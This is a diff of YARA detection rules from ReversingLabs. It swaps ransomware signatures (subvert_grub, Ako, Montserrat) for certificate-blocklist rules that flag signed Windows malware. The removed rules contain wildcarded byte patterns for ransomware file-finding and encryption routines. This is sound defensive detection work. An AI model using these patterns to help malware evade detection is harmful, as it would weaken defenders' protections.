?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 75 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - E9 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? - ?? 85 C0 74 ?? 48 8B 85 ?? ?? ?? ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? - ?? 85 C0 75 ?? 83 85 ?? ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 - D6 48 89 C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 C7 C1 ?? ?? ?? ?? 48 89 C2 B8 ?? - ?? ?? ?? 48 89 D7 F2 AE 48 89 C8 48 F7 D0 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 48 01 D0 - 66 C7 00 ?? ?? 48 8B 85 ?? ?? ?? ?? 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 48 89 D6 48 89 - C7 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 48 8D - 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 83 E8 ?? 89 05 ?? ?? ?? ?? - 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? - ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? - 48 8B 4D ?? 64 48 33 0C 25 ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? C9 C3 - } - $subvert_grub_1 = { - 55 48 89 E5 48 81 EC ?? ?? ?? ?? 64 48 8B 04 25 ?? ?? ?? ?? 48 89 45 ?? 31 C0 48 B8 - ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 - ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? - ?? ?? ?? 48 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? - ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 - ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 - ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? 66 C7 85 ?? ?? FF FF ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? - ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? - 48 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 48 B8 ?? ?? - ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? - ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? - ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 - } - $subvert_grub_2 = { - 48 89 85 ?? ?? ?? ?? 66 C7 85 ?? ?? FF FF ?? ?? 48 B8 ?? ?? ?? - ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? - 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? - ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? - ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? - ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 - 8B 85 ?? ?? ?? ?? 48 89 C1 BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? - ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 4C 8D 85 ?? ?? - ?? ?? 48 8D BD ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? - ?? ?? 48 8D B5 ?? ?? ?? ?? 56 48 8D B5 ?? ?? ?? ?? 56 4D 89 C1 49 89 F8 BE ?? ?? ?? - ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 83 C4 ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 - E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? - ?? ?? 0F 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 B9 ?? - ?? ?? ?? ?? ?? ?? ?? 48 89 08 C7 40 ?? ?? ?? ?? ?? C6 40 ?? ?? 48 8B 85 - } - $subvert_grub_3 = { - 48 8D 50 ?? 48 8D 85 ?? ?? ?? ?? 48 89 D6 48 89 C7 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? - ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 85 ?? ?? ?? - ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 85 ?? ?? ?? - ?? 48 83 C0 ?? BE ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 85 C0 75 ?? EB ?? 48 8D 85 ?? - ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? 48 89 - 85 ?? ?? ?? ?? 48 83 BD ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? - ?? E9 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? ?? - 48 83 BD ?? ?? ?? ?? ?? 74 ?? 4C 8D 85 ?? ?? ?? ?? 48 8D BD ?? ?? ?? ?? 48 8D 8D ?? - ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 8D B5 ?? ?? ?? ?? 56 48 8D B5 - ?? ?? ?? ?? 56 4D 89 C1 49 89 F8 BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 48 83 C4 ?? EB ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 85 ?? ?? ?? - ?? 48 83 BD ?? ?? ?? ?? ?? 74 ?? 4C 8D 85 ?? ?? ?? ?? 48 8D BD ?? ?? ?? ?? 48 8D 8D - ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 8D B5 ?? ?? ?? ?? 56 48 8D - B5 ?? ?? ?? ?? 56 4D 89 C1 49 89 F8 BE ?? ?? ?? ?? 48 89 C7 B8 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 48 83 C4 ?? 48 8B 85 ?? ?? ?? ?? 48 89 C7 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 8B - 55 ?? 64 48 33 14 25 ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? C9 C3 - } - condition: - uint32( 0 ) == 0x464C457F and ( $search_files and ( all of ( $encrypt_files_* ) ) and ( all of ( $subvert_grub_* ) ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Vertical" and ( pe.signatures [ i ] . serial == "00:c2:fc:83:d4:58:e6:53:83:7f:cf:c1:32:c9:b0:30:62" or pe.signatures [ i ] . serial == "c2:fc:83:d4:58:e6:53:83:7f:cf:c1:32:c9:b0:30:62" ) and 1602201600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Ako : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_54C793D2224Bdd6Ca527Bb2B7B9Dfe9D : INFO FILE { meta: - description = "Yara rule that detects Ako ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "00d67696-998c-5bc3-95e7-0320ca558cdb" - date = "2020-06-26" - modified = "2020-07-15" + id = "80e92980-f4eb-5ac2-9f68-14c352758791" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Ako.yara#L1-L152" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11706-L11722" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "488e9b528f75fcfaa8dd19859801e6e5a73575c33cd70c98ebaa9ae93025018b" + logic_hash = "81c9c1d841d4aae3de229cc499ee84920d89928590a3eb157f7a7a7fbc46b4a8" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Ako" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_network_shares_win32_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 8B 45 ?? 50 8D 4D ?? E8 ?? ?? - ?? ?? 8B 4D ?? 81 C1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 C8 85 C9 0F 85 ?? ?? ?? ?? 8B - 4D ?? E8 ?? ?? ?? ?? 0F B6 D0 85 D2 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 45 - ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? E8 ?? ?? ?? ?? 0F B6 D0 85 D2 0F - 85 ?? ?? ?? ?? 8D 45 ?? 50 8B 4D ?? 83 C1 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? - E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B 4D ?? E8 ?? ?? ?? ?? 50 8D 95 - ?? ?? ?? ?? 52 8B 4D ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? E8 ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 52 - 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 - E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 - } - $encrypt_network_shares_win32_p2 = { - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 50 8D 95 ?? - ?? ?? ?? 52 8B 4D ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? E8 ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? 52 - 8B 4D ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? - ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? - E8 ?? ?? ?? ?? 0F B6 C8 85 C9 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 55 ?? - 83 C2 ?? 89 55 ?? 8D 4D ?? E8 ?? ?? ?? ?? 39 45 ?? 73 ?? 83 7D ?? ?? 76 ?? 8B 45 - } - $encrypt_network_shares_win32_p3 = { - 33 D2 B9 ?? ?? ?? ?? F7 F1 85 D2 75 ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 8D 4D ?? E8 - ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? 89 45 ?? EB ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? - 8D 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 55 ?? 52 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? - E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 - 8B 4D ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8B 4D ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 50 8D 95 ?? ?? ?? ?? 52 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? - ?? 50 8B 4D ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 8D 8D ?? ?? ?? ?? 51 8D - 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? - ?? 8A 45 ?? EB ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? - ?? ?? 32 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D - C2 - } - $find_files_win32_p1 = { - 8B FF 55 8B EC 51 8B 4D ?? 53 57 33 DB 8D 51 ?? 66 8B 01 83 C1 ?? 66 3B C3 75 ?? 8B - 7D ?? 2B CA D1 F9 8B C7 41 F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 56 8D 5F ?? 03 - D9 6A ?? 53 E8 ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? - 83 C4 ?? 85 C0 75 ?? FF 75 ?? 2B DF 8D 04 7E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? - 85 C0 75 ?? 8B 7D ?? 8B CF E8 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 56 E8 ?? ?? ?? ?? 59 EB - ?? 8B 47 ?? 89 30 83 47 ?? ?? 33 DB 6A ?? E8 ?? ?? ?? ?? 59 8B C3 5E 5F 5B 8B E5 5D - C3 33 C0 50 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? - ?? ?? 33 C5 89 45 ?? 8B 55 ?? 8B 4D ?? 53 8B 5D ?? 89 8D ?? ?? ?? ?? 56 57 3B D3 74 - ?? 0F B7 02 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 84 C0 75 ?? 83 EA ?? 3B D3 75 ?? 8B - } - $find_files_win32_p2 = { - 8D ?? ?? ?? ?? 0F B7 32 83 FE ?? 75 ?? 8D 43 ?? 3B D0 74 ?? 51 33 FF 57 57 53 E8 ?? - ?? ?? ?? 83 C4 ?? EB ?? 56 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 2B D3 0F B6 C0 D1 FA 42 - F7 D8 68 ?? ?? ?? ?? 1B C0 33 FF 23 C2 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 - ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B - 85 ?? ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 - ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B - 48 ?? 2B 08 C1 F9 ?? 6A ?? 89 8D ?? ?? ?? ?? 59 66 39 8D ?? ?? ?? ?? 75 ?? 66 39 BD - ?? ?? ?? ?? 74 ?? 66 39 8D ?? ?? ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 50 FF B5 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? - ?? 50 56 FF 15 ?? ?? ?? ?? 6A ?? 85 C0 8B 85 ?? ?? ?? ?? 59 75 ?? 8B 10 8B 40 ?? 8B - 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 - 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 - } - $encrypt_files_win32_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 83 7D ?? ?? 74 ?? 83 7D ?? ?? - 75 ?? 32 C0 E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 8B 4D ?? E8 ?? ?? ?? ?? - 89 85 ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 73 ?? 32 C0 E9 ?? ?? ?? ?? C7 45 ?? - ?? ?? ?? ?? 33 C9 89 4D ?? 8D 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 32 - C0 E9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8B 8D ?? ?? ?? ?? - 51 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? 33 D2 89 55 ?? C7 45 ?? ?? ?? ?? ?? 33 C0 89 45 ?? 0F 57 C0 66 0F 13 85 ?? - ?? ?? ?? EB ?? 8B 8D ?? ?? ?? ?? 81 C1 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 D2 ?? 89 8D - ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 0F 8F ?? ?? ?? ?? 7C ?? 8B - 8D ?? ?? ?? ?? 3B 4D ?? 0F 83 ?? ?? ?? ?? 0F 57 C0 66 0F 13 45 ?? 6A ?? 8D 55 ?? 52 - } - $encrypt_files_win32_p2 = { - 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? C6 45 ?? ?? 8D 4D - ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8A 45 ?? E9 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 - 68 ?? ?? ?? ?? 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 C0 - 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8A 45 ?? E9 ?? ?? - ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 - 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8A 45 ?? E9 ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 05 ?? ?? ?? ?? 89 45 ?? 8B 4D ?? 3B 4D ?? - 0F 83 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 03 45 ?? 50 6A ?? 8D 4D ?? - E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8D 45 - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 6A ?? 8B 4D ?? 51 8B 4D ?? E8 ?? ?? ?? ?? 0F B6 D0 - 85 D2 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8A 45 ?? E9 - ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 8D ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 50 8B 55 - ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 - ?? ?? ?? ?? 8A 45 ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? EB ?? E9 ?? ?? - ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 89 4D - ?? 8B 95 ?? ?? ?? ?? 89 55 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 C0 89 85 - } - $encrypt_files_win32_p3 = { - 8B 8D ?? ?? ?? ?? 89 4D ?? 8B 95 ?? ?? ?? ?? 89 55 ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51 - 8B 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 - 8B 4D ?? 83 C1 ?? E8 ?? ?? ?? ?? 50 8B 4D ?? 83 C1 ?? E8 ?? ?? ?? ?? 50 8B 55 ?? 52 - FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 4D ?? 83 C1 ?? E8 ?? ?? ?? ?? 39 45 ?? 75 ?? 0F 57 - C0 66 0F 13 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B 4D - ?? 89 4D ?? 8B 55 ?? 89 55 ?? 6A ?? 8D 45 ?? 50 6A ?? 8D 4D ?? 51 8B 55 ?? 52 FF 15 - ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 75 ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D - ?? E8 ?? ?? ?? ?? 8A 45 ?? EB ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? - ?? ?? ?? 8A 45 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B - E5 5D C2 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_win32_p* ) ) and ( all of ( $encrypt_files_win32_p* ) ) and ( all of ( $encrypt_network_shares_win32_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CODE - HANDLE, s. r. o." and pe.signatures [ i ] . serial == "54:c7:93:d2:22:4b:dd:6c:a5:27:bb:2b:7b:9d:fe:9d" and 1629676800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Montserrat : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_8Cece6Df54Cf6Ad63596546D77Ba3581 : INFO FILE { meta: - description = "Yara rule that detects Montserrat ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "deeb5f1a-1329-5964-93e1-8ca6a20fcd89" - date = "2020-06-26" - modified = "2020-07-15" + id = "bde12eeb-c4f8-5da3-8493-0f94cb1bf1f7" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Montserrat.yara#L1-L118" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11724-L11742" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c8782a8cb2b87e76ff1f804ee8affd01405827d0914ea725bb0e9ddace7dde10" + logic_hash = "d6b5bca36ef492ce9b79be905c86c66d43ef38701dafeed977229034119bd00d" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Montserrat" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files_p1 = { - 8B FF 55 8B EC 51 8B 4D ?? 53 57 33 DB 8D 51 ?? 66 8B 01 83 C1 ?? 66 3B C3 75 ?? 8B - 7D ?? 2B CA D1 F9 83 C8 ?? 41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 56 8D 5F ?? - 03 D9 6A ?? 53 E8 ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? - ?? 83 C4 ?? 85 C0 75 ?? FF 75 ?? 2B DF 8D 04 7E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 - ?? 85 C0 75 ?? 8B 4D ?? 56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5F - 5B 8B E5 5D C3 33 C0 50 50 50 50 50 E8 